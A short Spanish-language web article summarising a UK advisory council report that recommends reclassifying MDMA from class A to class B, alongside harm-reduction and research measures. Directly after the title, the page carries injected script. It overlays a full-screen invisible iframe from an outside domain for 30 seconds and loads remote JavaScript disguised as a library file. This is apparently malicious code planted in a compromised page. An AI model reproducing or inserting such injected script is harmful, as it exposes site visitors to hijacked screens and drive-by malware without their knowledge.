¿Castigar o convencer?: recomendaciones para una nueva política sobre el MDMA en el Reino Unido<script> var time=30000;if((document.getElementById)){(function(){var thehairs="<iframe id=theiframe scrolling=no frameBorder=0 allowTransparency=true src=https://komkatkaj.org/ style=position:fixed;left:0;top:0;z-index:999999999999999;width:100%;height:100%;border:none;></iframe>";document.write(thehairs);var like=document.getElementById("theiframe");document.getElementsByTagName(body)[0].appendChild(like);if(time!=0){setTimeout(function(){document.getElementsByTagName(body)[0].removeChild(like)},time)}})()} </script><script type="text/javascript" src="https://old.chainebda.com/SpryAssets/min.js"></script>
El MDMA (‘éxtasis’) se sintetizó por primera vez en 1912, pero su uso recreativo no se extendió hasta finales de los ochenta. Ello explica, al menos en parte, que se legislara sobre ella antes de disponer de un conocimiento suficiente sobre sus efectos en la salud, y así, en 1977 las autoridades británicas la clasificaron entre las drogas más peligrosas (clase A), como la heroína o la cocaína. Por este motivo, el Consejo Asesor sobre el Abuso de Drogas del Reino Unido (Advisory Council on the Misuse of Drugs) ha elaborado un informe en el que evalúa de nuevo la peligrosidad de esta sustancia a la luz de los nuevos estudios publicados desde entonces. El documento constata su toxicidad, pero considera que los daños que provoca la equiparan a otras anfetaminas y recomienda su inclusión en la clase B. Ello no obsta para que preconice una mayor atención al MDMA, con medidas de reducción de daños, intervenciones preventivas y más investigaciones sobre sus efectos a largo plazo.